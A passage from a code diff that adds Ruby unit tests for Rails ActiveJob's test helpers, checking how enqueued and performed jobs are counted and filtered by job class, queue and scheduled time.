+          HelloJob.perform_later("jeremy")
+          4.times { LoggingJob.perform_later }
+        end
+      end
+
+      assert_match(/`:only` and `:except`/, error.message)
+    end
+
+    def test_assert_enqueued_jobs_with_only_option_and_too_many_sent
+      error = assert_raise ActiveSupport::TestCase::Assertion do
+        assert_enqueued_jobs 1, only: HelloJob do
+          2.times { HelloJob.perform_later("jeremy") }
+        end
+      end
+
+      assert_match(/1 .* but 2/, error.message)
+    end
+
+    def test_assert_enqueued_jobs_with_except_option_and_too_many_sent
+      error = assert_raise ActiveSupport::TestCase::Assertion do
+        assert_enqueued_jobs 1, except: LoggingJob do
+          2.times { HelloJob.perform_later("jeremy") }
+        end
+      end
+
+      assert_match(/1 .* but 2/, error.message)
+    end
+
+    def test_assert_enqueued_jobs_with_only_and_except_option_and_too_many_sent
+      error = assert_raise ArgumentError do
+        assert_enqueued_jobs 1, only: HelloJob, except: HelloJob do
+          2.times { HelloJob.perform_later("jeremy") }
+        end
+      end
+
+      assert_match(/`:only` and `:except`/, error.message)
+    end
+
+    def test_assert_enqueued_jobs_with_only_option_as_array
+      assert_nothing_raised do
+        assert_enqueued_jobs 2, only: [HelloJob, LoggingJob] do
+          HelloJob.perform_later("jeremy")
+          LoggingJob.perform_later("stewie")
+          RescueJob.perform_later("david")
+        end
+      end
+    end
+
+    def test_assert_enqueued_jobs_with_except_option_as_array
+      assert_nothing_raised do
+        assert_enqueued_jobs 1, except: [HelloJob, LoggingJob] do
+          HelloJob.perform_later("jeremy")
+          LoggingJob.perform_later("stewie")
+          RescueJob.perform_later("david")
+        end
+      end
+    end
+
+    def test_assert_enqueued_jobs_with_only_and_except_option_as_array
+      error = assert_raise ArgumentError do
+        assert_enqueued_jobs 2, only: [HelloJob, LoggingJob], except: [HelloJob, LoggingJob] do
+          HelloJob.perform_later("jeremy")
+          LoggingJob.perform_later("stewie")
+          RescueJob.perform_later("david")
+        end
+      end
+
+      assert_match(/`:only` and `:except`/, error.message)
+    end
+
+    def test_assert_no_enqueued_jobs_with_only_option
+      assert_nothing_raised do
+        assert_no_enqueued_jobs only: HelloJob do
+          LoggingJob.perform_later
+        end
+      end
+    end
+
+    def test_assert_no_enqueued_jobs_with_except_option
+      assert_nothing_raised do
+        assert_no_enqueued_jobs except: LoggingJob do
+          LoggingJob.perform_later
+        end
+      end
+    end
+
+    def test_assert_no_enqueued_jobs_with_only_and_except_option
+      error = assert_raise ArgumentError do
+        assert_no_enqueued_jobs only: HelloJob, except: HelloJob do
+          LoggingJob.perform_later
+        end
+      end
+
+      assert_match(/`:only` and `:except`/, error.message)
+    end
+
+    def test_assert_no_enqueued_jobs_with_only_option_failure
+      error = assert_raise ActiveSupport::TestCase::Assertion do
+        assert_no_enqueued_jobs only: HelloJob do
+          HelloJob.perform_later("jeremy")
+          LoggingJob.perform_later
+        end
+      end
+
+      assert_match(/0 .* but 1/, error.message)
+    end
+
+    def test_assert_no_enqueued_jobs_with_except_option_failure
+      error = assert_raise ActiveSupport::TestCase::Assertion do
+        assert_no_enqueued_jobs except: LoggingJob do
+          HelloJob.perform_later("jeremy")
+          LoggingJob.perform_later
+        end
+      end
+
+      assert_match(/0 .* but 1/, error.message)
+    end
+
+    def test_assert_no_enqueued_jobs_with_only_and_except_option_failure
+      error = assert_raise ArgumentError do
+        assert_no_enqueued_jobs only: HelloJob, except: HelloJob do
+          HelloJob.perform_later("jeremy")
+          LoggingJob.perform_later
+        end
+      end
+
+      assert_match(/`:only` and `:except`/, error.message)
+    end
+
+    def test_assert_no_enqueued_jobs_with_only_option_as_array
+      assert_nothing_raised do
+        assert_no_enqueued_jobs only: [HelloJob, RescueJob] do
+          LoggingJob.perform_later
+        end
+      end
+    end
+
+    def test_assert_no_enqueued_jobs_with_except_option_as_array
+      assert_nothing_raised do
+        assert_no_enqueued_jobs except: [HelloJob, RescueJob] do
+          HelloJob.perform_later
+          RescueJob.perform_later
+        end
+      end
+    end
+
+    def test_assert_no_enqueued_jobs_with_only_and_except_option_as_array
+      error = assert_raise ArgumentError do
+        assert_no_enqueued_jobs only: [HelloJob, RescueJob], except: [HelloJob, RescueJob] do
+          LoggingJob.perform_later
+        end
+      end
+
+      assert_match(/`:only` and `:except`/, error.message)
+    end
+
+    def test_assert_no_enqueued_jobs_with_queue_option
+      assert_nothing_raised do
+        assert_no_enqueued_jobs queue: :default do
+          HelloJob.set(queue: :other_queue).perform_later
+          LoggingJob.set(queue: :other_queue).perform_later
+        end
+      end
+    end
+
+    def test_assert_no_enqueued_jobs_with_queue_option_failure
+      error = assert_raise ActiveSupport::TestCase::Assertion do
+        assert_no_enqueued_jobs queue: :other_queue do
+          HelloJob.set(queue: :other_queue).perform_later
+        end
+      end
+
+      assert_match(/0 .* but 1/, error.message)
+    end
+
+    def test_assert_no_enqueued_jobs_with_only_and_queue_option
+      assert_nothing_raised do
+        assert_no_enqueued_jobs only: HelloJob, queue: :some_queue do
+          HelloJob.set(queue: :other_queue).perform_later
+          HelloJob.set(queue: :other_queue).perform_later
+          LoggingJob.set(queue: :some_queue).perform_later
+        end
+      end
+    end
+
+    def test_assert_no_enqueued_jobs_with_only_and_queue_option_failure
+      error = assert_raise ActiveSupport::TestCase::Assertion do
+        assert_no_enqueued_jobs only: HelloJob, queue: :some_queue do
+          HelloJob.set(queue: :other_queue).perform_later
+          HelloJob.set(queue: :some_queue).perform_later
+          LoggingJob.set(queue: :some_queue).perform_later
+        end
+      end
+
+      assert_match(/0 .* but 1/, error.message)
+    end
+
+    def test_assert_no_enqueued_jobs_with_except_and_queue_option
+      assert_nothing_raised do
+        assert_no_enqueued_jobs except: LoggingJob, queue: :some_queue do
+          HelloJob.set(queue: :other_queue).perform_later
+          HelloJob.set(queue: :other_queue).perform_later
+          LoggingJob.set(queue: :some_queue).perform_later
+        end
+      end
+    end
+
+    def test_assert_no_enqueued_jobs_with_except_and_queue_option_failure
+      error = assert_raise ActiveSupport::TestCase::Assertion do
+        assert_no_enqueued_jobs except: LoggingJob, queue: :some_queue do
+          HelloJob.set(queue: :other_queue).perform_later
+          HelloJob.set(queue: :some_queue).perform_later
+          LoggingJob.set(queue: :some_queue).perform_later
+        end
+      end
+
+      assert_match(/0 .* but 1/, error.message)
+    end
+
+    def test_assert_no_enqueued_jobs_with_only_and_except_and_queue_option
+      error = assert_raise ArgumentError do
+        assert_no_enqueued_jobs only: HelloJob, except: HelloJob, queue: :some_queue do
+          HelloJob.set(queue: :other_queue).perform_later
+        end
+      end
+
+      assert_match(/`:only` and `:except`/, error.message)
+    end
+
+    def test_assert_enqueued_with
+      assert_enqueued_with(job: LoggingJob, queue: "default") do
+        LoggingJob.set(wait_until: Date.tomorrow.noon).perform_later
+      end
+    end
+
+    def test_assert_enqueued_with_with_no_block
+      LoggingJob.set(wait_until: Date.tomorrow.noon).perform_later
+      assert_enqueued_with(job: LoggingJob, queue: "default")
+    end
+
+    def test_assert_enqueued_with_when_queue_name_is_symbol
+      assert_enqueued_with(job: LoggingJob, queue: :default) do
+        LoggingJob.set(wait_until: Date.tomorrow.noon).perform_later
+      end
+    end
+
+    def test_assert_no_enqueued_jobs_and_perform_now
+      assert_no_enqueued_jobs do
+        LoggingJob.perform_now(1, 2, 3, keyword: true)
+      end
+    end
+
+    def test_assert_enqueued_with_returns
+      job = assert_enqueued_with(job: LoggingJob) do
+        LoggingJob.set(wait_until: 5.minutes.from_now).perform_later(1, 2, 3, keyword: true)
+      end
+
+      assert_instance_of LoggingJob, job
+      assert_in_delta 5.minutes.from_now.to_f, job.scheduled_at.to_f, 1
+      assert_equal "default", job.queue_name
+      assert_equal [1, 2, 3, { keyword: true }], job.arguments
+    end
+
+    def test_assert_enqueued_with_with_no_block_returns
+      LoggingJob.set(wait_until: 5.minutes.from_now).perform_later(1, 2, 3, keyword: true)
+      job = assert_enqueued_with(job: LoggingJob)
+
+      assert_instance_of LoggingJob, job
+      assert_in_delta 5.minutes.from_now.to_f, job.scheduled_at.to_f, 1
+      assert_equal "default", job.queue_name
+      assert_equal [1, 2, 3, { keyword: true }], job.arguments
+    end
+
+    def test_assert_enqueued_with_failure
+      assert_raise ActiveSupport::TestCase::Assertion do
+        assert_enqueued_with(job: LoggingJob, queue: "default") do
+          NestedJob.perform_later
+        end
+      end
+
+      assert_raise ActiveSupport::TestCase::Assertion do
+        LoggingJob.perform_later
+        assert_enqueued_with(job: LoggingJob) { }
+      end
+
+      error = assert_raise ActiveSupport::TestCase::Assertion do
+        assert_enqueued_with(job: NestedJob, queue: "low") do
+          NestedJob.perform_later
+        end
+      end
+
+      assert_match("No enqueued job found with #{{ job: NestedJob, queue: "low" }}", error.message)
+    end
+
+    def test_assert_enqueued_with_with_no_block_failure
+      assert_raise ActiveSupport::TestCase::Assertion do
+        NestedJob.perform_later
+        assert_enqueued_with(job: LoggingJob, queue: "default")
+      end
+
+      error = assert_raise ActiveSupport::TestCase::Assertion do
+        NestedJob.perform_later
+        assert_enqueued_with(job: NestedJob, queue: "low")
+      end
+
+      assert_match("No enqueued job found with #{{ job: NestedJob, queue: "low" }}", error.message)
+    end
+
+    def test_assert_enqueued_with_args
+      assert_raise ArgumentError do
+        assert_enqueued_with(class: LoggingJob) do
+          NestedJob.set(wait_until: Date.tomorrow.noon).perform_later
+        end
+      end
+    end
+
+    def test_assert_enqueued_with_supports_matcher_procs
+      facets = {
+        job: HelloJob,
+        args: ["Rails"],
+        at: Date.tomorrow.noon,
+        queue: "important",
+      }
+
+      facets[:job].set(queue: facets[:queue], wait_until: facets[:at]).perform_later(*facets[:args])
+
+      facets.each do |facet, value|
+        matcher = ->(job_value) { job_value == value }
+        refuser = ->(job_value) { false }
+
+        assert_enqueued_with(**{ facet => matcher })
+
+        assert_raises ActiveSupport::TestCase::Assertion do
+          assert_enqueued_with(**{ facet => refuser })
+        end
+      end
+    end
+
+    def test_assert_enqueued_with_time
+      now = Time.now
+      args = [{ argument1: [now] }]
+
+      assert_enqueued_with(job: MultipleKwargsJob, args: args) do
+        MultipleKwargsJob.perform_later(argument1: [now])
+      end
+    end
+
+    def test_assert_enqueued_with_date_time
+      now = DateTime.now
+      args = [{ argument1: [now] }]
+
+      assert_enqueued_with(job: MultipleKwargsJob, args: args) do
+        MultipleKwargsJob.perform_later(argument1: [now])
+      end
+    end
+
+    def test_assert_enqueued_with_time_with_zone
+      now = Time.now.in_time_zone("Tokyo")
+      args = [{ argument1: [now] }]
+
+      assert_enqueued_with(job: MultipleKwargsJob, args: args) do
+        MultipleKwargsJob.perform_later(argument1: [now])
+      end
+    end
+
+    def test_assert_enqueued_with_time_and_time_precision
+      time_with_zone = ActiveSupport::TimeWithZone.new(
+        Time.utc(1999, 12, 31, 23, 59, "59.123456789".to_r),
+        ActiveSupport::TimeZone["Tokyo"]
+      )
+
+      time = Time.at(946702800, 1234567, :nanosecond)
+      date_time = DateTime.new(2001, 2, 3, 4, 5, 6.123456, "+03:00")
+      args = [{ argument1: [time_with_zone, time, date_time] }]
+
+      assert_enqueued_with(job: MultipleKwargsJob, args: args) do
+        MultipleKwargsJob.perform_later(argument1: [time_with_zone, time, date_time])
+      end
+    end
+
+    def test_assert_enqueued_with_with_no_block_args
+      assert_raise ArgumentError do
+        NestedJob.set(wait_until: Date.tomorrow.noon).perform_later
+        assert_enqueued_with(class: LoggingJob)
+      end
+    end
+
+    def test_assert_enqueued_with_with_at_option
+      assert_enqueued_with(job: HelloJob, at: Date.tomorrow.noon) do
+        HelloJob.set(wait_until: Date.tomorrow.noon).perform_later
+      end
+    end
+
+    def test_assert_enqueued_with_with_relative_at_option
+      assert_enqueued_with(job: HelloJob, at: 5.minutes.from_now) do
+        HelloJob.set(wait: 5.minutes).perform_later
+      end
+    end
+
+    def test_assert_enqueued_with_with_no_block_with_at_option
+      HelloJob.set(wait_until: Date.tomorrow.noon).perform_later
+      assert_enqueued_with(job: HelloJob, at: Date.tomorrow.noon)
+    end
+
+    def test_assert_enqueued_with_wait_until_with_performed
+      assert_enqueued_with(job: LoggingJob) do
+        perform_enqueued_jobs(only: HelloJob) do
+          HelloJob.set(wait_until: Date.tomorrow.noon).perform_later("david")
+          LoggingJob.set(wait_until: Date.tomorrow.noon).perform_later("enqueue")
+        end
+      end
+      assert_enqueued_jobs 1
+      assert_performed_jobs 1
+    end
+
+    def test_assert_enqueued_with_with_hash_arg
+      assert_enqueued_with(job: MultipleKwargsJob, args: [{ argument1: 1, argument2: { a: 1, b: 2 } }]) do
+        MultipleKwargsJob.perform_later(argument2: { b: 2, a: 1 }, argument1: 1)
+      end
+    end
+
+    def test_assert_enqueued_with_with_global_id_args
+      ricardo = Person.new(9)
+      assert_enqueued_with(job: HelloJob, args: [ricardo]) do
+        HelloJob.perform_later(ricardo)
+      end
+    end
+
+    def test_assert_enqueued_with_with_no_block_with_global_id_args
+      ricardo = Person.new(9)
+      HelloJob.perform_later(ricardo)
+      assert_enqueued_with(job: HelloJob, args: [ricardo])
+    end
+
+    def test_assert_enqueued_with_failure_with_global_id_args
+      ricardo = Person.new(9)
+      wilma = Person.new(11)
+      error = assert_raise ActiveSupport::TestCase::Assertion do
+        assert_enqueued_with(job: HelloJob, args: [wilma]) do
+          HelloJob.perform_later(ricardo)
+        end
+      end
+
+      assert_match("No enqueued job found with #{{ job: HelloJob, args: [wilma] }}", error.message)
+      assert_match(/Potential matches:.*Person.* @id="9"/, error.message)
+    end
+
+    def test_show_jobs_that_are_enqueued_when_job_is_not_queued_at_all
+      ricardo = Person.new(9)
+      wilma = Person.new(11)
+
+      error = assert_raise ActiveSupport::TestCase::Assertion do
+        assert_enqueued_with(job: MultipleKwargsJob, args: [wilma]) do
+          HelloJob.perform_later(ricardo)
+        end
+      end
+
+      assert_match("No enqueued job found with #{{ job: MultipleKwargsJob, args: [wilma] }}", error.message)
+      assert_match(/No jobs of class MultipleKwargsJob were enqueued, job classes enqueued: HelloJob/, error.message)
+    end
+
+    def test_shows_no_jobs_enqueued_when_there_are_no_jobs
+      error = assert_raise ActiveSupport::TestCase::Assertion do
+        assert_enqueued_with(job: HelloJob, args: []) do
+        end
+      end
+
+      assert_match("No enqueued job found with #{{ job: HelloJob, args: [] }}", error.message)
+      assert_match(/No jobs were enqueued/, error.message)
+    end
+
+    def test_assert_enqueued_with_failure_with_no_block_with_global_id_args
+      ricardo = Person.new(9)
+      wilma = Person.new(11)
+      error = assert_raise ActiveSupport::TestCase::Assertion do
+        HelloJob.perform_later(ricardo)
+        assert_enqueued_with(job: HelloJob, args: [wilma])
+      end
+
+      assert_match("No enqueued job found with #{{ job: HelloJob, args: [wilma] }}", error.message)
+      assert_match(/Potential matches: {.*?HelloJob,.*\[#<Person.* @id="9">\].*?}/, error.message)
+    end
+
+    def test_assert_enqueued_with_does_not_change_jobs_count
+      HelloJob.perform_later
+      assert_enqueued_with(job: HelloJob) do
+        HelloJob.perform_later
+      end
+
+      assert_equal 2, queue_adapter.enqueued_jobs.count
+    end
+
+    def test_assert_enqueued_with_with_no_block_does_not_change_jobs_count
+      HelloJob.perform_later
+      HelloJob.perform_later
+      assert_enqueued_with(job: HelloJob)
+
+      assert_equal 2, queue_adapter.enqueued_jobs.count
+    end
+
+    def test_assert_enqueued_jobs_with_performed
+      assert_enqueued_with(job: LoggingJob) do
+        perform_enqueued_jobs(only: HelloJob) do
+          HelloJob.perform_later("david")
+          LoggingJob.perform_later("enqueue")
+        end
+      end
+      assert_enqueued_jobs 1
+      assert_performed_jobs 1
+    end
+  end
+end
+
+class QueueAdapterTest < ActiveJob::TestCase
+  class JobWithAnAdapter < ActiveJob::Base
+    self.queue_adapter = :async
+
+    def perform; end
+  end
+
+  def queue_adapter_for_test
+    ActiveJob::QueueAdapters::TestAdapter.new
+  end
+
+  test "assert_enqueued_with enqueues a job with a queue_adapter and queue_adapter_for_test" do
+    assert_enqueued_with(job: JobWithAnAdapter) do
+      JobWithAnAdapter.perform_later
+    end
+  end
+end
+
+class PerformedJobsTest < ActiveJob::TestCase
+  if adapter_is?(:test)
+    include DoNotPerformEnqueuedJobs
+
+    def test_perform_enqueued_jobs_with_only_option_doesnt_leak_outside_the_block
+      assert_nil queue_adapter.filter
+      perform_enqueued_jobs only: HelloJob do
+        assert_equal HelloJob, queue_adapter.filter
+      end
+      assert_nil queue_adapter.filter
+    end
+
+    def test_perform_enqueued_jobs_without_block_with_only_option_doesnt_leak
+      perform_enqueued_jobs only: HelloJob
+
+      assert_nil queue_adapter.filter
+    end
+
+    def test_perform_enqueued_jobs_with_except_option_doesnt_leak_outside_the_block
+      assert_nil queue_adapter.reject
+      perform_enqueued_jobs except: HelloJob do
+        assert_equal HelloJob, queue_adapter.reject
+      end
+      assert_nil queue_adapter.reject
+    end
+
+    def test_perform_enqueued_jobs_without_block_with_except_option_doesnt_leak
+      perform_enqueued_jobs except: HelloJob
+
+      assert_nil queue_adapter.reject
+    end
+
+    def test_perform_enqueued_jobs_with_queue_option_doesnt_leak_outside_the_block
+      assert_nil queue_adapter.queue
+      perform_enqueued_jobs queue: :some_queue do
+        assert_equal :some_queue, queue_adapter.queue
+      end
+      assert_nil queue_adapter.queue
+    end
+
+    def test_perform_enqueued_jobs_without_block_with_queue_option_doesnt_leak
+      perform_enqueued_jobs queue: :some_queue
+
+      assert_nil queue_adapter.reject
+    end
+
+    def test_perform_enqueued_jobs_with_block
+      perform_enqueued_jobs do
+        HelloJob.perform_later("kevin")
+        LoggingJob.perform_later("bogdan")
+      end
+
+      assert_performed_jobs 2
+    end
+
+    def test_perform_enqueued_jobs_without_block
+      HelloJob.perform_later("kevin")
+      LoggingJob.perform_later("bogdan")
+
+      perform_enqueued_jobs
+
+      assert_performed_jobs 2
+    end
+
+    def test_perform_enqueued_jobs_with_block_with_only_option
+      perform_enqueued_jobs only: LoggingJob do
+        HelloJob.perform_later("kevin")
+        LoggingJob.perform_later("bogdan")
+      end
+
+      assert_performed_jobs 1
+      assert_performed_jobs 1, only: LoggingJob
+    end
+
+    def test_perform_enqueued_jobs_without_block_with_only_option
+      HelloJob.perform_later("kevin")
+      LoggingJob.perform_later("bogdan")
+
+      perform_enqueued_jobs only: LoggingJob
+
+      assert_performed_jobs 1
+      assert_performed_jobs 1, only: LoggingJob
+    end
+
+    def test_perform_enqueued_jobs_with_block_with_except_option
+      perform_enqueued_jobs except: HelloJob do
+        HelloJob.perform_later("kevin")
+        LoggingJob.perform_later("bogdan")
+      end
+
+      assert_performed_jobs 1
+      assert_performed_jobs 1, only: LoggingJob
+    end
+
+    def test_perform_enqueued_jobs_without_block_with_except_option
+      HelloJob.perform_later("kevin")
+      LoggingJob.perform_later("bogdan")
+
+      perform_enqueued_jobs except: HelloJob
+
+      assert_performed_jobs 1
+      assert_performed_jobs 1, only: LoggingJob
+    end
+
+    def test_perform_enqueued_jobs_with_block_with_queue_option
+      perform_enqueued_jobs queue: :some_queue do
+        HelloJob.set(queue: :some_queue).perform_later("kevin")
+        HelloJob.set(queue: :other_queue).perform_later("bogdan")
+        LoggingJob.perform_later("bogdan")
+      end
+
+      assert_performed_jobs 1
+      assert_performed_jobs 1, only: HelloJob, queue: :some_queue
+    end
+
+    def test_perform_enqueued_jobs_without_block_with_queue_option
+      HelloJob.set(queue: :some_queue).perform_later("kevin")
+      HelloJob.set(queue: :other_queue).perform_later("bogdan")
+      LoggingJob.perform_later("bogdan")
+
+      perform_enqueued_jobs queue: :some_queue
+
+      assert_performed_jobs 1
+      assert_performed_jobs 1, only: HelloJob, queue: :some_queue
+    end
+
+    def test_perform_enqueued_jobs_with_block_with_only_and_queue_options
+      perform_enqueued_jobs only: HelloJob, queue: :other_queue do
+        HelloJob.set(queue: :some_queue).perform_later("kevin")
+        HelloJob.set(queue: :other_queue).perform_later("bogdan")
+        LoggingJob.set(queue: :other_queue).perform_later("bogdan")
+      end
+
+      assert_performed_jobs 1
+      assert_performed_jobs 1, only: HelloJob, queue: :other_queue
+    end
+
+    def test_perform_enqueued_jobs_without_block_with_only_and_queue_options
+      HelloJob.set(queue: :some_queue).perform_later("kevin")
+      HelloJob.set(queue: :other_queue).perform_later("bogdan")
+      LoggingJob.set(queue: :other_queue).perform_later("bogdan")
+
+      perform_enqueued_jobs only: HelloJob, queue: :other_queue
+
+      assert_performed_jobs 1
+      assert_performed_jobs 1, only: HelloJob, queue: :other_queue
+    end
+
+    def test_perform_enqueued_jobs_with_block_with_except_and_queue_options
+      perform_enqueued_jobs except: HelloJob, queue: :other_queue do
+        HelloJob.set(queue: :other_queue).perform_later("kevin")
+        LoggingJob.set(queue: :some_queue).perform_later("bogdan")
+        LoggingJob.set(queue: :other_queue).perform_later("bogdan")
+      end
+
+      assert_performed_jobs 1
+      assert_performed_jobs 1, only: LoggingJob, queue: :other_queue
+    end
+
+    def test_perform_enqueued_jobs_without_block_with_except_and_queue_options
+      HelloJob.set(queue: :other_queue).perform_later("kevin")
+      LoggingJob.set(queue: :some_queue).perform_later("bogdan")
+      LoggingJob.set(queue: :other_queue).perform_later("bogdan")
+
+      perform_enqueued_jobs except: HelloJob, queue: :other_queue
+
+      assert_performed_jobs 1
+      assert_performed_jobs 1, only: LoggingJob, queue: :other_queue
+    end
+
+    def test_perform_enqueued_jobs_with_at_with_job_performed_now
+      HelloJob.perform_later("kevin")
+
+      perform_enqueued_jobs(at: Time.now)
+
+      assert_performed_jobs 1
+    end
+
+    def test_perform_enqueued_jobs_with_at_with_job_wait_in_past
+      HelloJob.set(wait_until: Time.now - 100).perform_later("kevin")
+
+      perform_enqueued_jobs(at: Time.now)
+
+      assert_performed_jobs 1
+    end
+
+    def test_perform_enqueued_jobs_with_at_with_job_wait_in_future
+      HelloJob.set(wait_until: Time.now + 100).perform_later("kevin")
+
+      perform_enqueued_jobs(at: Time.now)
+
+      assert_performed_jobs 0
+    end
+
+    def test_perform_enqueued_jobs_block_with_at_with_job_performed_now
+      perform_enqueued_jobs(at: Time.now) do
+        HelloJob.perform_later("kevin")
+      end
+
+      assert_performed_jobs 1
+    end
+
+    def test_perform_enqueued_jobs_block_with_at_with_job_wait_in_past
+      perform_enqueued_jobs(at: Time.now) do
+        HelloJob.set(wait_until: Time.now - 100).perform_later("kevin")
+      end
+
+      assert_performed_jobs 1
+    end
+
+    def test_perform_enqueued_jobs_block_with_at_with_job_wait_in_future
+      perform_enqueued_jobs(at: Time.now) do
+        HelloJob.set(wait_until: Time.now + 100).perform_later("kevin")
+      end
+
+      assert_performed_jobs 0
+    end
+
+    def test_perform_enqueued_jobs_properly_count_job_that_raises
+      RaisingJob.perform_later("NotImplementedError")
+
+      assert_raises(NotImplementedError) do
+        perform_enqueued_jobs(only: RaisingJob)
+      end
+
+      assert_equal(1, performed_jobs.size)
+    end
+
+    def test_perform_enqueued_jobs_dont_perform_retries
+      RaisingJob.perform_later
+
+      assert_nothing_raised do
+        perform_enqueued_jobs(only: RaisingJob)
+      end
+
+      assert_equal(1, performed_jobs.size)
+      assert_equal(1, enqueued_jobs.size)
+    end
+
+    def test_perform_enqueued_jobs_without_block_removes_from_enqueued_jobs
+      HelloJob.perform_later("rafael")
+      assert_equal(0, performed_jobs.size)
+      assert_equal(1, enqueued_jobs.size)
+      perform_enqueued_jobs
+      assert_equal(1, performed_jobs.size)
+      assert_equal(0, enqueued_jobs.size)
+    end
+
+    def test_perform_enqueued_jobs_without_block_works_with_other_helpers
+      NestedJob.perform_later
+      assert_equal(0, performed_jobs.size)
+      assert_equal(1, enqueued_jobs.size)
+      assert_enqueued_jobs(1) do
+        assert_enqueued_with(job: LoggingJob) do
+          perform_enqueued_jobs
+        end
+      end
+      assert_equal(1, performed_jobs.size)
+      assert_equal(1, enqueued_jobs.size)
+    end
+
+    def test_perform_enqueued_jobs_without_block_only_performs_once
+      JobBuffer.clear
+      RescueJob.perform_later("no exception")
+      perform_enqueued_jobs
+      perform_enqueued_jobs
+      assert_equal(1, JobBuffer.values.size)
+    end
+
+    def test_assert_performed_jobs
+      assert_nothing_raised do
+        assert_performed_jobs 1 do
+          HelloJob.perform_later("david")
+        end
+      end
+    end
+
+    def test_repeated_performed_jobs_calls
+      assert_nothing_raised do
+        assert_performed_jobs 1 do
+          HelloJob.perform_later("abdelkader")
+        end
+      end
+
+      assert_nothing_raised do
+        assert_performed_jobs 2 do
+          HelloJob.perform_later("sean")
+          HelloJob.perform_later("yves")
+        end
+      end
+    end
+
+    def test_assert_performed_jobs_message
+      HelloJob.perform_later("sean")
+      e = assert_raises Minitest::Assertion do
+        assert_performed_jobs 2 do
+          HelloJob.perform_later("sean")
+        end
+      end
+      assert_match "Expected: 2", e.message
+      assert_match "Actual: 1", e.message
+    end
+
+    def test_assert_performed_jobs_with_no_block
+      assert_nothing_raised do
+        perform_enqueued_jobs do
+          HelloJob.perform_later("rafael")
+        end
+        assert_performed_jobs 1
+      end
+
+      assert_nothing_raised do
+        perform_enqueued_jobs do
+          HelloJob.perform_later("aaron")
+          HelloJob.perform_later("matthew")
+          assert_performed_jobs 3
+        end
+      end
+    end
+
+    def test_assert_no_performed_jobs_with_no_block
+      assert_nothing_raised do
+        assert_no_performed_jobs
+      end
+    end
+
+    def test_assert_no_performed_jobs
+      assert_nothing_raised do
+        assert_no_performed_jobs do
+          # empty block won't perform jobs
+        end
+      end
+    end
+
+    def test_assert_performed_jobs_too_few_sent
+      error = assert_raise ActiveSupport::TestCase::Assertion do
+        assert_performed_jobs 2 do
+          HelloJob.perform_later("xavier")
+        end
+      end
+
+      assert_match(/2 .* but 1/, error.message)
+    end
+
+    def test_assert_performed_jobs_too_many_sent
+      error = assert_raise ActiveSupport::TestCase::Assertion do
+        assert_performed_jobs 1 do
+          HelloJob.perform_later("cristian")
+          HelloJob.perform_later("guillermo")
+        end
+      end
+
+      assert_match(/1 .* but 2/, error.message)
+    end
+
+    def test_assert_no_performed_jobs_failure
+      error = assert_raise ActiveSupport::TestCase::Assertion do
+        assert_no_performed_jobs do
+          HelloJob.perform_later("jeremy")
+        end
+      end
+
+      assert_match(/0 .* but 1/, error.message)
+    end
+
+    def test_assert_performed_jobs_with_only_option
+      assert_nothing_raised do
+        assert_performed_jobs 1, only: HelloJob do
+          HelloJob.perform_later("jeremy")
+          LoggingJob.perform_later
+        end
+      end
+    end
+
+    def test_assert_performed_jobs_with_only_option_as_proc
+      assert_nothing_raised do
+        assert_performed_jobs(1, only: ->(job) { job.is_a?(HelloJob) }) do
+          HelloJob.perform_later("jeremy")
+          LoggingJob.perform_later("bogdan")
+        end
+      end
+    end
+
+    def test_assert_performed_jobs_without_block_with_only_option
+      HelloJob.perform_later("jeremy")
+      LoggingJob.perform_later("bogdan")
+
+      perform_enqueued_jobs
+
+      assert_performed_jobs 1, only: HelloJob
+    end
+
+    def test_assert_performed_jobs_without_block_with_only_option_as_proc
+      HelloJob.perform_later("jeremy")
+      LoggingJob.perform_later("bogdan")
+
+      perform_enqueued_jobs
+
+      assert_performed_jobs(1, only: ->(job) { job.fetch(:job).name == "HelloJob" })
+    end
+
+    def test_assert_performed_jobs_without_block_with_only_option_failure
+      LoggingJob.perform_later("jeremy")
+      LoggingJob.perform_later("bogdan")
+
+      perform_enqueued_jobs
+
+      error = assert_raise ActiveSupport::TestCase::Assertion do
+        assert_performed_jobs 1, only: HelloJob
+      end
+
+      assert_match(/1 .* but 0/, error.message)
+    end
+
+    def test_assert_performed_jobs_with_except_option
+      assert_nothing_raised do
+        assert_performed_jobs 1, except: LoggingJob do
+          HelloJob.perform_later("jeremy")
+          LoggingJob.perform_later
+        end
+      end
+    end
+
+    def test_assert_performed_jobs_with_except_option_as_proc
+      assert_nothing_raised do
+        assert_performed_jobs(1, except: ->(job) { job.is_a?(HelloJob) }) do
+          HelloJob.perform_later("jeremy")
+          LoggingJob.perform_later("bogdan")
+        end
+      end
+    end
+
+    def test_assert_performed_jobs_without_block_with_except_option
+      HelloJob.perform_later("jeremy")
+      LoggingJob.perform_later("bogdan")
+
+      perform_enqueued_jobs
+
+      assert_performed_jobs 1, except: HelloJob
+    end
+
+    def test_assert_performed_jobs_without_block_with_except_option_as_proc
+      HelloJob.perform_later("jeremy")
+      LoggingJob.perform_later("bogdan")
+
+      perform_enqueued_jobs
+
+      assert_performed_jobs(1, except: ->(job) { job.fetch(:job).name == "HelloJob" })
+    end
+
+    def test_assert_performed_jobs_without_block_with_except_option_failure
+      HelloJob.perform_later("jeremy")
+      HelloJob.perform_later("bogdan")
+
+      perform_enqueued_jobs
+
+      error = assert_raise ActiveSupport::TestCase::Assertion do
+        assert_performed_jobs 1, except: HelloJob
+      end
+
+      assert_match(/1 .* but 0/, error.message)
+    end
+
+    def test_assert_performed_jobs_with_only_and_except_option
+      error = assert_raise ArgumentError do
+        assert_performed_jobs 1, only: HelloJob, except: HelloJob do
+          HelloJob.perform_later("jeremy")
+          LoggingJob.perform_later
+        end
+      end
+
+      assert_match(/`:only` and `:except`/, error.message)
+    end
+
+    def test_assert_performed_jobs_without_block_with_only_and_except_options
+      error = assert_raise ArgumentError do
+        HelloJob.perform_later("jeremy")
+        LoggingJob.perform_later("bogdan")
+
+        perform_enqueued_jobs
+
+        assert_performed_jobs 1, only: HelloJob, except: HelloJob
+      end
+
+      assert_match(/`:only` and `:except`/, error.message)
+    end
+
+    def test_assert_performed_jobs_with_only_option_as_array
+      assert_nothing_raised do
+        assert_performed_jobs 2, only: [HelloJob, LoggingJob] do
+          HelloJob.perform_later("jeremy")
+          LoggingJob.perform_later("stewie")
+          RescueJob.perform_later("david")
+        end
+      end
+    end
+
+    def test_assert_performed_jobs_with_except_option_as_array
+      assert_nothing_raised do
+        assert_performed_jobs 1, except: [LoggingJob, RescueJob] do
+          HelloJob.perform_later("jeremy")
+          LoggingJob.perform_later("stewie")
+          RescueJob.perform_later("david")
+        end
+      end
+    end
+
